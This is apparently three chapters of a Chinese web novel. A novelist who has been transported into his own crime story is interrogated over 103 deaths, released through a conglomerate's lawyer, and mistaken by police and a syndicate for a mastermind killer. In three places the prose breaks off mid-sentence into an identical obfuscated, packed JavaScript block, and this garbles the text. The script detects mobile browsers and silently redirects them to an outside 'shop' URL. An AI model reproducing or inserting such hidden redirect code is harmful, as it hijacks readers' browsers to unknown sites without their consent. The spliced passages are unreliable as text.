他们面对的不是一个普通的年轻人,甚至不是一个普通的变态杀人狂,而是一个……精心编织了完美“巧合”外衣,彻头彻尾的怪物。 9. 危险身份 “我们不谈暴力,卫极画。” 审讯室中空气冷寂,陈永年长长呼出一口气,双手交叠放在桌上,试图让气氛看起来像是平等的对话,。 “我们谈逻辑,谈事实。” “你说云海会所的103条人命是巧合,好。那么……灰雨公寓杀人案,你要如何解释?那个时间点,你在哪里?” “不要否认,”陈永年一字一顿道,“秦惊浪在公寓楼下见到过你,还给了你一把伞。” “我们查过你的档案,保姆在你出生时将你私自调换,死者季景,季氏财团继承人,是你的亲生父亲,另一个死者则是顶替了你人生的季之羽。半个月前,季景发现这个真相,处理掉了那个保姆,却没有打算认回你。” “我们探查案发现场时,死者两个人,餐桌上却多出了一副碗筷。他们当时等的另一个人是你,对吗?” “由此推断,你是嫌疑最大的人。” 一句句质问,有理有据,因果链条和作案动机清晰可见。 卫极画礼貌安静地听着,仿佛真的在认真思考陈永年的话,几秒钟后,他才开口反问:“所以陈警官,你是说,我才是季景的亲生儿子?” “怎么?你又要说你什么都不知道?”陈永年目光如勾,一字一顿,铿锵有力拨高。 卫极画没有言语。 其实刚听到陈永年说灰雨公寓杀人案的时候,他就开始慌了,既担心自己替主角背的杀人黑锅被发现,又怕被发现自己不是“主角”。 等陈永年对着档案把21岁的他认成19岁的主角还没有丝毫怀疑的时候,他终于知道,他是彻底顶替了“主角”的身份。 世界似乎将因他穿越进来所导致的一切漏洞都合理化了。 可这也代表,“主角”杀人的罪行彻底钉在他身上了。 卫极画没有“主角”的任何记忆,陈永年说出那两父子请吃饭的人是他,他毫不知情,生怕自己哪里漏了线索,被迫替“主角”认罪伏法。 面对两位经验丰富老辣的警察,他半点多余的情绪都不能露出来。 现在的已知线索:在灰雨公寓的两个死者当中,被捅了几刀的中年男人叫“季景”,是季氏财团继承人。 而他扮演的“主角”是被贪图荣华富贵的保姆刻意调换的“季景”亲生儿子,“季景”为了养子“季之羽”的心情,哪怕发现了这件事,也并没有打算认回“主角”。 卫极画按照作案动机努力分析:所以……被剧团盯上的“主角”,就在两名死者邀请自己吃饭的途中,将这两人杀死? 然后就是他穿越过来看到的凶案现场? 那就难办了……先不说不知什么时候掺和进来的“剧团”。光是季氏财团就不好办。 卫极画写书的时候先设置了“剧团”,随后才想着,南刻市只有暗处的掌控者不够,必须得在明处再增加一个对标“剧团”的掌控者。 “季氏财团”因此而生。 卫极画把季氏财团设定成一个涉及灰色行业的庞然大物,拥有横跨诸国的军/火和情报生意,用各种手段操控各类官员,甚至暗中挑起战争。 可季氏财团的继承人怎么会是个开头就被主角杀了的背景板呢?好好的继承人不当,为什么要跑来南刻市? 卫极画写这个剧情的时候根本就没有设定过那么多!他只是单纯写主角杀了两个人做开头。 就算这些信息会在后续变成伏笔,也该是写到后面才被他拉出来,怎么世界意识提前给他把伏笔修正出来了? 这种让小说自动码字的人性化功能,他当作者的时候没有出现,反而在他变成“主角”的时候才出现?就为了给他添堵吗? 卫极画竭力维持脸上的平静,克制太阳穴内部的钝痛。 他拼尽全力,想在绝境中挣扎着找出一条生路,可越思考,越是头疼欲裂,好像有人拿刀在劈他的脑子。 ——他的大脑太久没有休息了,迟钝木然,反应能力和记忆力变得很慢很慢,在强行高速运转中产生过载现象,让他额头像是老旧的电脑主机一样发烫,血液像风箱一样嗡嗡的在耳边运转着冷却。 这局面根本无解。 他现在继承了“主角”的身份,一来就把作为季氏财团继承人的“季景”和其养子“季之羽”当加入剧团的考核炮灰给杀了。 继承人都死了,就算他想办法给自己脱了罪,季氏财团也绝不会善罢甘休。 这条路走不通,必须得换一条路。 想想…快想想……一定有什么被他忽略,但可以利用的信息! 继承人……继承人! “主角”好像是“季景”换掉的亲生儿子? 既然作为季氏财团继承人的“季景”和季景的养子“季之羽”都死了……那么…… ——啊,原来隐藏生路在这里。 “哈…”卫极画突然笑了,微不可查牵动嘴角,形成一个极淡的弧度,这个细微的表情变化在惨白的灯光下被死死盯着他的陈永年捕捉。 陈永年紧紧盯着他,隐隐有不妙的预感,声音拔高,“你笑什么?” “您可能弄错了一件事,陈警官。” 卫极画叹喟:“假如我是季景的亲生儿子,那么,以您的身份,就没资格审问我了。 陈永年按着桌面俯身,猛地靠近卫极画,心中不妙预感达到巅峰,甚至提前产生了挫败,“你什么意思?” “师傅!” 旁侧的周玉忽然叫住了陈永年,面色很难看的在他耳边小声道,“季氏财团的律师来了,刚才上级通知,让我们放人。” 陈永年怒愕的表情僵在脸上,缓缓转头,看向坐在审讯椅上的卫极画。 卫极画苍白的皮肤在审讯灯下近乎于透明,那双灰蓝色的眼眸被光透彻,仿若暗流涌动的金属流质。发侧耳畔本该交相辉映溢火彩的鸢尾花宝石耳挂在此刻暗淡褪色,被他的眼眸衬成了劣品。 那惨白的审讯灯分明仍照在他身上,却似舞台的聚光灯,使得这场表演完美落幕。 卫极画好像早就知道自己会被释放,对陈永年露出一个温和有礼的微笑。 “下次见?警官?” 卫极画的话音落下,审讯室陷入了比之前任何一次沉默都更无言的沉重。 陈永年维持着俯身的姿势,阴影彻底将卫极画笼罩,但他感觉不到丝毫掌控感,反而被那灰蓝色的目光钉在了原地。那句“下次见”轻飘飘的,像淬了冰的针,扎进他最不容践踏的底线里。 卫极画却漫不经心,抬手轻轻地扶了扶耳边那从“云顶”会所带来的鸢尾花宝石耳挂。 不知是否机缘碰巧,蓝紫色的鸢尾花,恰好是“季氏财团”的标志。 艹他的,季氏财团! 陈永年的拳头在桌下攥得咯咯作响,指节捏得发白。 他几乎能听到自己太阳穴血管突突跳动的声音,不是愤怒,而是一种更深的、混杂着无力感的灼烧。 他办案二十年,什么穷凶极恶、狡猾奸诈的没见过?他拼的是证据,是逻辑,是剥开迷雾见真相的耐心。 可眼前的卫极画…是只披着诡丽人类皮囊的怪物。卫极画玩弄的不是证据,是规则本身。 云海会所103条人命,现场干净得诡异,偏偏带走作为警察的秦惊浪“作证”。 灰雨公寓的血案,线索直指其身世,偏偏摇身一变,成了季氏财团唯一剩下的继承人。 卫极画每一步都踩在法律的边缘,每一次都精准地利用规则的空隙,乃至…利用规则的制定者来碾压规则! 这根本不是追捕,这是一场精心编排的戏剧,而他们执法局,似乎只是舞台上配合演出的丑角。卫极画那副了然于胸、甚至带着点倦怠的从容,像一巴掌狠狠扇在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914130|192492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上。 卫极画亦不是在辩解,是在告知——告知你们抓不了“我”,告知游戏的主导权在“我”手里。 一旁紧绷身体的周玉也因为卫极画那堪称挑衅的一句“下次见”产生极致的凝重。他退后半步,目光如鹰隼一样制图锁定卫极画每一个细微的动作——指尖的颤动,眼睫的垂下,喉结的滚动。 可什么都没有。卫极画只是平静地坐着,微微偏头,仿佛在等待他们履行“放人”的命令。 怪物。这真的是一只披着人皮的鬼怪。 周玉脑子里只剩下这个词。 他见过亡命徒的凶悍,见过高智商罪犯的算计,但没见过卫极画这样彻彻底底的漠然。 关闭执法记录仪本是一种施压,一种打破常规审讯节奏的试探,可在卫极画面前,却像是自己这边先露了怯,被对方轻轻一句“屈打成招”就架在了火上烤。他引以为傲的武力,在对方那无形的、仿佛洞悉一切的气场面前,显得如此笨拙。 更让他心悸的是卫极画最后那个笑。那不是得意,不是嘲讽,而是一种…平静的确认。 仿佛季氏财团律师的到来,早就在卫极画计算之中,甚至是他亲自推动的结果。这让周玉感到一阵寒意。 如果连季氏财团这样的庞然大物都可能是卫极画棋盘上的棋子,那他们这些警察,又算什么? 他们能做什么呢? 面对卫极画,他们什么都做不了。 最终还是理智占据了上风。“师傅…”周玉压低声音,扯了扯死死盯着卫极画的陈永年,话几乎是从牙缝里挤出来,“上面催了。” 陈永年终于直起身,阴影从卫极画身上移开。 他深吸一口气,克制地看了一眼桌上那份记载着103个名字的档案,又看向卫极画苍白平静的脸。那口气沉甸甸的压在心口,散不去,压得他胸膛生疼。 不甘心。 一万个不甘心! 陈永年知道,今天一旦放卫极画走出这扇门,再想以这种方式“请”卫极画进来,几乎不可能了。季氏财团的律师会像铁桶一样把卫极画围起来,任何程序上的瑕疵都会被无限放大。而卫极画本人,只会更加谨慎,更加难以捉摸。 但命令就是命令。在季氏财团这种级别的势力面前,在“证据链”被对方身份轻易斩断的现实面前,他个人的坚持和怀疑,显得如此微不足道。 陈永年脸上所有激烈的情绪缓缓褪去,只剩下一种岩石般的冷硬,踱到门边,亲自打开了审讯室厚重的铁门。 “卫极画,”他的声音沙哑,却异常平稳,每一个字都像是从胸腔里碾磨出来的,“你可以走了。” 他的目光落在门外走廊闻讯围过来的其他警官身上。 一张又一张年轻、疑惑、茫然或愤怒、坚毅的脸庞。甚至还有一直被关在门外,没机会说话的秦惊浪。 陈永年没解释,转回身,目光如两道冰冷的探照灯,再次射向卫极画,“南刻市不大。卫极画,我们总会再见的。” 这句话不是威胁,而是一种宣告。一种属于正义的、永不放弃的宣告。 卫极画微微一笑,没有接话,慢条斯理地站起身,活动了一下被铐得有些发麻的手腕——手铐方才早已被周玉沉默地打开。 他将耳侧的鸢尾花宝石耳挂扶正,整理了一下身上并没有褶皱的衣物,然后,他迈步,从容不迫地走向门口。 经过陈永年身边时,卫极画脚步未停,只是眼睫微垂,灰蓝色的眸光掠过这位老警官紧握的拳头和绷紧的下颌线。 擦肩而过。 没有言语,没有眼神交流。 但那一刻,陈永年分明感觉到,一股冰冷而粘腻的、如同窗外未散雨雾的气息,随着卫极画的经过,悄然弥漫了一瞬。 卫极画是一场连绵不绝的阴雨,身影逐渐消失在走廊转角,徒留灰霾。 10. 季氏 “师傅……” 周玉走到陈永年身边,欲言又止。他看到陈永年的手背因为用力过度青筋虬结。 陈永年久久地望着空荡荡的走廊,仿佛要将卫极画离去的方向烙印在眼底。良久,他才缓缓吐出一口浊气,那气息在冰冷的空气中凝成一小团白雾。 “查。” 陈永年声音低沉,却带着不容置疑的力度,“动用一切可以动用的关系,绕过明面的限制。查卫极画过去二十一年的一切,查他和季氏到底怎么回事,查所有可能和他有牵连的阴影。” 这位经验丰富的老警官转身,走回审讯室抓起桌上那份触目惊心的死亡档案。 “师傅,你……”周玉担忧地叫了他一声,嚅嗫着不知该不该劝他。 “我很好,从来没这么好过。”陈永年的眼神锐利,“卫极画不是喜欢玩巧合吗?那我们就找到那个‘必然’!找到能钉死他的、任何巧合都抹不掉的证据!” “我就不信。” 陈永年一字一顿,对着空无一人的审讯椅,也对着自己心中翻腾的不甘与怒火,“我不信这世上真有完美无缺的犯罪,真有能永远凌驾于法律之上的‘特权’!” 闻言,周玉那张青涩的圆脸露出一个笑容,挺直脊背,重重应道:“是!” “师傅!我会一起努力的!” 审讯室的灯依然惨白,照在两位警官身上,拉出长长的、坚定的影子,不屈于执法局外的世界雨雾朦胧。 …… 从审讯室出来的卫极画一点也没有两位警官以为的傲慢,脸绷得紧紧地越过围在审讯室外的其他警官,看见稍微熟悉些的秦惊浪也没敢搭话提还伞的事儿,心里已经后悔得快惨叫出声。 他和陈永年告别的话听起来是有点像挑衅,实际上是他脑子高速运转后没能转过弯,习惯礼貌了一句。简称脑子抽了。 还“下次见?警官?” 他到底在说什么鬼话啊?逃脱追捕后的挑衅嘲讽吗?演恐怖杀手演上瘾了,嫌警察盯他盯得不够紧吗? 听起来完全像个愉悦犯!估计把整个执法局都得罪了! 陈永年肯定把他当成穷凶极恶的恐怖杀人魔,想方设法的找他的漏洞,再也不会相信他是无辜的了! 还有季氏财团律师突然过来保释他的事,他也很意外啊!他只是想借着季氏财团的大旗假装自己很有背景,免得陈永年和周玉在审讯室揍他而已!谁知道下一秒就有季氏财团的律师来施压保释他了?! 显得他是故意的,更说不清了! 卫极画心情沉重地离开审讯室,在执法局末端长廊处见到了“保释”自己的季氏财团律师。 一身得体正装、短发、随身夹着公文包,看着很是专业。 这副业界精英的模样,给畏惧与人交流的卫极画一种极强的距离感。 熬了那么久,卫极画已经身心俱疲,真的没有多余的脑子再和这种人打机锋。幸好保洁人员刚用消毒剂拖过执法局走廊,为了换气通风,打开了走廊侧边的窗户。 卫极画靠在窗户旁边,把窗户推得更开了一点。 冰冷的空气顺着细密雨丝从窗户飘进来,卫极画灼痛的脑袋缓和了些。保险起见,他还抬头确认执法局走廊上方的监控不会被飘进来的雨水打湿弄坏,不会有人找他赔偿,才敢放心维持这样的状态。 “少爷,我是您父亲生前律所的律师,现归属季氏财团。”律师在身后朝他行了一个礼,“关于您父亲的死和云海会所的事,季氏财团已经全权委托给我,不会再有人来找您麻烦了。” 季氏财团果然掺和进来了。卫极画揉了揉额角想。 从律师的话可以得出,主角的亲生父亲“季景”以为逃离了季氏财团掌控,来到南刻市独自开了一家律所。但“季景”不知道,一手打拼出来的律所,除他以外的所有人,都是季氏财团/派来看着他的专业人士。 现在“季景”死了,律所里的律师也不用演了,云海会所的103条人命和已经死掉没有利用价值的“季景”,在权力之下都无关紧要。 卫极画“杀了”这么多人的罪行,说解决就解决了。 只是……季氏财团来保释卫极画,肯定不单是因为血缘关系,而是为了其他未知的、更深的价值。 卫极画一点儿也不想和季氏财团沾上关系。 他都已经惹上“剧团”了,假如再牵连“季氏财团”,卫极画怀疑自己会因为脑子不够用当场死掉。 “弄错了。”卫极画靠着窗弦,望向窗外被细雨披上一层轻纱的城市高楼,声音淡淡,过河拆桥撇清关系,“我不是你们少爷,‘季景’死前没有认我。” 律师分毫不漏,“少爷,您说笑了。这改变不了您属于季氏财团的事实。” “如果我不回去呢?”卫极画转身,静静望着律师。 律师维持行礼姿态,没有抬起头来,“这当然是您的自由。季氏不会苛待它的血脉,您父亲在灰雨公寓的房产和已经失去主人的云海会所将由您继承,稍后我会将产权证明移交给您。但季氏财团此后不会再给予您任何优待,下次出现问题,就不会有人再来保释您了。” “哦,我没有威胁您的意思,我只是想说…失去季氏财团的庇护后,执法局的警察恐怕不会放过您。” “不需要。” 卫极画扭头就走。 想吓他?他才不会被威胁到。 执法局的警察再凶,还能凶得过“剧团”和“季氏财团”? 现在灰雨公寓的杀人案和云海会所的误会都已经解决了,他也是行得端坐得正,此身从此分明了。只要后续不违法犯罪,执法局的警察还能凭空诬陷他不成? 至于律师假惺惺的说,就算卫极画不回去,季氏财团也不会亏待自家血脉,会把灰雨公寓和失去老板的云海会所交由卫极画继承…… 这些的确是一笔很大的财产,以卫极画现在要身份没身份,要钱没钱,吃了上顿没下顿,还无家可归的处境,换其他人来肯定会忍不住要收下。 不过灰雨公寓死了人,现在是个凶宅,短时间内估计卖不出去。现场整面落地窗还碎了,后续维修要花钱,否则住不了人。每个月的物业费也都是天价。卫极画这一穷二白的,哪儿交得起? 还有云海会所。 云海会所是个烂摊子。王海龙死了以后,这玩意儿就是烫手山芋,南刻市多少人都盯着呢。季氏财团说不定还想利用云海会所继续干一些阴私勾当,到时候甩黑锅甩到卫极画头上。就打着等卫极画解决不了,只能回去求他们的主意。 卫极画对于这些弯弯绕绕还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914131|192492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很熟悉的。 毕竟世界上怎么可能会有天上掉馅饼的好事呢? 他当初可是以写恐怖凶杀黑暗文为生的!怎么可能看不出来算计? 无事献殷勤,非奸即盗,必有端倪! 他已经完全理解了这个世界的运行逻辑!跟他玩阴谋诡计,下辈子吧! 卫极画快步走出执法局,在执法局的大门口台阶上撑起了秦惊浪借他的那把绘有蓝色浪花的折叠伞。 雨下了一整夜,天已经快亮了,残余的雨雾落在伞面上悄无声息。 “等等!” 一道有些急切的清越声线在身后喊他。 是先前审讯时被关在审讯室外的秦惊浪。 南刻市总是常年阴雨,城市的排水系统早已考虑到了这一点,执法局外地面平整,台阶处有菱格状地漏,地面上只有浅浅的一层水渍,但仍然光滑如镜。 卫极画怕秦惊浪跑太急滑倒碰瓷他,站在原地没动。 “有什么事吗?秦警官?”他为防止被碰瓷,提前扶了一把,在秦惊浪站稳后,又迅速收回手。 “终于赶上了。”秦惊浪气喘吁吁站定,撑着膝盖喘气。 赶上什么!不会要抓他回去吧!卫极画惊恐。 “我只是想来和你道歉。”秦惊浪平缓了呼吸,直起身子,“抱歉,你在云海救了我,但我刚才没能给你作证。” 卫极画松了一口气,“哦,这个呀……这个没关系,反正我已经出来了。” “公是公,私是私。”秦惊浪摇摇头,“我从陈永年队长那里听说了云海会所的事,整整103条人命,虽说主观上想相信你,但还是得问一句,那些人真的是你杀的吗?” 知道不该问还问? 卫极画叹息,“秦警官,你不会故意带着窃听器想来试探我吧?” 秦惊浪条件反射按住口袋的录音笔,下垂的狗狗眼瞪大,“你怎么知道?” 卫极画:…… 不是吧!真有!? 他变态杀人犯的人设有这么深入人心吗?让正义的警官们把他视为头号大敌? 呼,这个世界还真是充满危险,稍不注意就被抓进去了。幸好他足够警惕!时刻牢记罪犯的行为模式! 卫极画微妙得意,骄矜自持,问:“秦警官,你一直跟着我,还不清楚我杀没杀人吗?” “我的确没有看到你杀人,云海会所的人先对你动的手,我在云海会所走廊上听到枪声了。虽然装载了消/音/器,但我都能听到,我不信你没察觉。”秦惊浪肯定到。 啊?什么枪声?什么消/音/器?察觉什么? 卫极画满头问号。他是在云海会所的走廊上听到了枪声,但他了解到的知识都是半桶水晃荡,枪/口加了消/音/器,他就以为是杂音直接忽略过去了,根本没意识到当时有人朝他开枪。 秦惊浪看卫极画没说话,以为卫极画被自己说中了,便更确信自己的猜测,肯定道:“你专门计算好了角度,提前躲开子弹,并且利用子弹的弹反让走廊陷入黑暗,故意露出脚步声,吸引黑暗中的云海打手使用手/榴/弹这种大规模杀伤性武器。等到他们投掷手/榴/弹,你已经进了安全通道,在关门的瞬间把手/榴/弹踢回了人群。” 卫极画懵懵的:“啊?” 11. 装货 卫极画彻底懵了。 秦惊浪的意思是说,他一个废宅小说家,精准辨认出装载消/音/器的枪响,肉身躲子弹,同时还计算好了角度利用子弹的动力势能让整个走廊陷入黑暗。 然后再利用黑暗状态故意引导云海会所的打手们用手/榴/弹自相残杀,就这样哐当哐当的半晚上杀了103个人? 这对吗? 匪夷所思,这些字究竟是怎么组成一段话的?明明都是字,为什么组成一段话之后就听不懂了呢? 这么玄幻的事情,秦惊浪自己说出来都不觉得离奇吗? 怪不得刚才在审讯室里,他说要找被关在审讯室外的秦惊浪给他作证时,陈永年问他是不是以为所有人都和秦惊浪这个傻小子一样好骗。 原来真的很傻啊。 “但你们没有证据证明这些是我做的,不是吗?”卫极画懒得再解释了,轻慢道,“没有证据,就是巧合。南刻市哪条律法能判我有罪?” 秦惊浪露出果然如此的神色。 “…你很厉害,卫极画。”他矛盾地扭了扭先前在云海会所被打手们弯折淤青的手腕,低下头,踌躇片刻,小声问,“你是不是对我们很失望?” 卫极画疑惑,“什么失望?” “录音笔已经关了,不用再演了。” 秦惊浪低垂着头,“我被云海会所抓住,是因为我发现他们私底下贩卖违禁药物,还利用药物控制在那里工作的陪侍人员。” “你肯定是知道这件事,才故意把事情闹这么大,让我们执法局有正当理由介入的。” “但王海龙死后,好像有人提前把这些东西清理掉了。我在你被抓后将这件事告诉执法局的同事们,让他们借着你给的机会进入云海,却什么东西都没查到。就连那些陪侍人员的体内也检测不出药物痕迹……对不起,这件事是执法局无能。” 卫极画:…… 卫极画觉得自己今天百口莫辩的次数比一辈子都多。 他肯定是没有想那么多的,也没有故意闹大事情让执法局去查违禁药物。 虽然他写书的时候没写到这个剧情,但按照设定稍一推断,就能知道,在“剧团”不允许违禁药物出现在南刻市的情况下,云海会所的违禁药物搞那么大,那幕后黑手很大概率是与“剧团”相对的“季氏财团”。 毕竟小说故事嘛,肯定要有势力抗争才好看。 再结合听季氏财团的律师说,要把灰雨公寓和无主的云海会所交给他这件事,卫极画完全能肯定自己的猜测。 季氏财团可是南刻市的土皇帝,让执法局去查季氏财团的生意,肯定什么都查不着啊,干嘛做这个无用功? 所以之前卫极画拒绝季氏财团才会那么果断。否则贩卖违禁药物的活肯定甩他头上了。 卫极画又不是主角,要去追求跌宕起伏的剧情和刺激,专门挑庞然大物斗来斗去。他只求能保住命就谢天谢地了。 秦惊浪不知卫极画的想法,看卫极画不说话,以为他真的觉得执法局很没用,歉意道,“我送你回去吧,我开了车。” 回去?! 原本兴致缺缺的卫极画要素察觉。 他穿来这个世界以后只是顶替了“主角”的身份,没有“主角”的记忆,差点没流落街头,被迫下海当牛郎还惨入贼窝,好不容易从贼窝出来又被抓进了执法局,到现在已经身心俱疲。忽然得到家的线索,一下子就来了精神,“你知道我住哪?” “你的档案上写了啊…”秦惊浪迟疑,“是旧城区弄沅巷56号?没错吧?” 旧城区弄沅巷? 在设定里……那一片是红灯区啊,人员鱼龙混杂,除了做皮肉生意的野鸳,还有出生就被扔了的孤儿随时随地顺走你的钱包,喝醉了酒的帮派混混更是无法无天,治安程度堪比哥谭犯罪巷……“主角”怎么住这么危险的地方? 卫极画现在对这个世界抱有极大警惕性,怕秦惊浪记错或者故意诈他,没有给出肯定的答案,模棱两可地回答,“就去那儿吧。” 他说话间感觉脖子有点发酸,扭了扭脖子,没注意到执法局四楼窗口,有一道穿着警服的身影悄悄看着他,被他扭脖子时偶然抬起头的角度吓得骤然僵硬。 直到卫极画坐上秦惊浪的车离开,穿着警服的身影才脸色煞白回过神,隐入阴影处,战战兢兢地拨通了记忆深处的加密号码。 滴滴—— 电话接通。 警服身影对着电话另一头低声道,“驯兽师大人,我见到您叫我们注意的人了。” 电话另一头沉默了一会,“卫极画?” ——驯兽师没想到自己这么快就又听到了卫极画的名字。 自从在灰雨公寓被卫极画装神经病吓走,他逃回安全屋后那叫一个胆战心惊。又是胸口断掉的肋骨痛,又是怕卫极画来弄死他,还反复思考卫极画最后那句“替我向剧团长问好”是什么意思。 结果,他怀揣不安了一晚上都没听着卫极画过来杀他的动静,什么都没怀揣出来,总觉得自己被骗。但是回想卫极画几百米跳楼精准找到他的手段,不太敢为这点猜测出门,也不敢让剧团长知道自己被人吓得落荒而逃、连身份胸针都丢了的事,只能躲在安全屋里,专门让手底下的剧团情报人员留意卫极画消息。 假如发现卫极画露出破绽,他自然会去报复回来。 驯兽师本来以为至少也得等几天,结果天还没亮,居然就有人向他汇报卫极画的消息了。 “卫极画怎么了?” “驯兽师大人,那个叫卫极画的怪物太可怕了!”隶属驯兽师的下级情报人员恐惧到磕巴,“他半个晚上杀了103个人,没被发现任何马脚,只说是巧合。还和季氏沾上了关系,进了执法局又完好无损地出去了,执法局局长的儿子亲自送他走的。” 下级情报人员声音越来越抖,回忆刚才卫极画抬头“看”他的眼神,抓着窗台咽了一口唾沫,“而且他刚才…好像发现我了。只是没在意——呃!” 话音戛然而止。 “喂?喂?!”另一头躲在安全屋的驯兽师等了半天没听到动静,意识到不对,连忙打开安全屋的电脑,利用剧团的电子入侵程序短暂操控了执法局门口的监控。 监控中一片血色。 似乎是因为靠着窗台,一时重心不稳,刚才和他打电话汇报的剧团下级成员整个人从四楼直接跌了下去,因为高度不是很高,跌下去时在湿滑的地面上打了个滚,脑袋径直磕上了花坛的尖锐处。 黄白的脑浆和血色如同调色盘上被污染的颜料,在地面涌现炸开,被雨水冲刷稀释。周围还有闻讯围过来的其他警员。 最终,这被定义为一场不小心产生的巧合事件。 这荒诞的场景与诡异的巧合,让驯兽师浑身发凉。 刚才那位剧团下级成员和他汇报时,正好说到被卫极画发现了,还没来得及庆幸卫极画并不在意,就当场死亡。 这真的是巧合吗? 驯兽师不相信。他调转监控画面,调整到了剧团下级成员跌落前的监控视角。 那位下级成员靠在窗口,借着窗外细雨的朦胧杂音与他汇报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914132|192492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 忽然! 大开的窗户在风中有些摇晃,那位剧团下级成员重心不稳,恰好执法局走廊被保洁人员用消毒液刚拖过一遍的塑胶地面还没干透,湿漉漉的反光蹭亮,叫他脚下一滑,径直从窗口跌了下去。 周围没有任何人,看不出端倪,好像真的是自己不小心跌下去的。 不!不对!时间前进、再前进! 驯兽师脊椎发凉,总感觉事情没有那么简单,发自内心的不相信这个结果。他不断将监控画面的时间向前拉,终于…卫极画的身影出现在其中。 见到卫极画,驯兽师竟有一种果真如此的释然感。 剧团下级成员死前站的地方,正好是卫极画当初离开审讯室和季氏财团的律师见面,俯身斜靠的地方! 窗户分明是卫极画打开的! 在驯兽师的眼中,卫极画“装出”一副忧郁破碎又疲倦的样子,背对着身后的律师,状作随意地打开了窗户。 何其恐怖,卫极画竟然这么早就开始布局了! 难道卫极画提前就知道了他安排下属情报人员的窥探吗?可卫极画怎么会算到忽然有风吹过?难道卫极画还在他不知情的其他变量上做了设计? 又或者,卫极画不止知道有人窥探,杀了那个下属情报人员,就是在警告他? 驯兽师出神地望着屏幕,在心中揣测着各种恐怖的想法。 同一时间,画面中的卫极画幽幽抬起头。 ——那双灰蓝色的眼眸穿透监控连接的电脑屏幕,好似超脱这个世界的高纬观测者,在半个小时前便隔着时空不可捉摸的距离与现在的驯兽师对上了视线。 驯兽师猛地一推椅子站起来!牵动断裂的肋骨狼狈跌倒在地! 他如坠冰窟,卫极画却已经若无其事转回了头去,好像对他的反应感到失望和无趣,继续对着半个小时前的律师演普通人。 不过卫极画演得有点夸张了,似乎刚才的对视只是担心监控会不会被窗外飘进来的雨淋湿,从而被执法局抓去赔钱。 这也太穷鬼了,怎么可能呢? 卫极画怎么可能会做这么没品的事? 驯兽师第一时间否决了这个事实真相,在心里给卫极画打上深不可测的标签,阴暗地窥视卫极画,想方设法地想要看穿卫极画哪怕万分之一的高智商杀人手法。 没有!没有!什么都看不出来! 监控画面中的卫极画还是那样神色忧郁,累极了一样疲倦地倚在窗前看雨,冷峻的眉目于阴影中低垂,好像一幅静谧的油画,冷色调的墨蓝或浅紫,极致色彩涂抹,辅以银光点缀,与南刻市迷朦阴霾中的雨雾轻纱融为一体。 连镜头都无法盛载环绕卫极画周身的破碎感。 哦……那一天的忧郁,忧郁起来。 假如忧郁是一种天赋,那卫极画于此道已然登峰造极。 在驯兽师眼中,算上刚才杀的剧团下级情报人员,忧郁的卫极画就这样普普通通又百无聊赖地杀了104个人! 驯兽师几乎是一边想给卫极画跪下,一边想骂卫极画的祖宗十八代。 这么早就提前布局,杀了那么多人,居然还敢光明正大站在执法局的窗边在假装忧郁破碎! 谁有卫极画能装啊!装货! 不行,他有点把握不住了……他输就输在精神太正常,跟不上卫极画这种高智商变态的思维和节奏。再自己硬撑下去,估计没两天就不明不白地被卫极画给玩死了! 必须得赶紧把卫极画这个神经病的事迹汇报给剧团长,让剧团内部派人过来。 12.家 位于南刻市中心区域的执法局总部距离“主角”住的旧城区很远。 卫极画被抓进执法局前,把驯兽师的狙/击/枪和花姐的车一起藏在了云海会所的隐藏车库里,假如秦惊浪不主动开车送他,他就算知道地方,想要去“主角”家所在的旧城区也有些麻烦。 随着车子在雨雾中驶入弯弯折折的水泥路,车道肉眼可见收缩变窄,身后的高楼与城市霓虹连同渐次明亮的天光一起被甩在身后,逐渐消失。 视野所及,入目只有灰败低矮的旧式楼房,墙体斑驳,大多数沉淀着时光老旧的痕迹。 秦惊浪开的是一辆高配吉普车,底盘很高,不至于因路面崎岖不平抖来抖去。 但卫极画神经紧绷,对周围一切都很警惕,哪怕困意如潮水般不断拍打意识的堤岸,也强撑着没敢在车上合眼。 压力威胁下,人处于陌生的地方,往往会表现出更强的警惕性和攻击性,第一反应总是先提前熟悉环境,以此获得安全感。 卫极画学着谍战电影里的特工,警惕观察周围监控或潜在危险源,刚打开车窗,旁边建筑工地扬起的尘灰就扑了他一脸,猛地灌入鼻腔,呛得他赶紧把窗户关上。 很倒霉了。目的没达到,还被扑了一脸的灰。给人一种老谋深算又算不明白的睿智感。 这里的“睿智”是贬义词,通假字,“睿”通“弱”。一般用来辨别哈士奇的血统是否纯正,只要哈士奇的目光非常的睿智犀利,就代表很纯种。 偶像包袱极重的卫极画咬了一嘴灰,蔫蔫缩回脑袋,懊恼扒拉副驾驶的遮光板,打开镜子看自己的脸和头发有没有被弄脏。 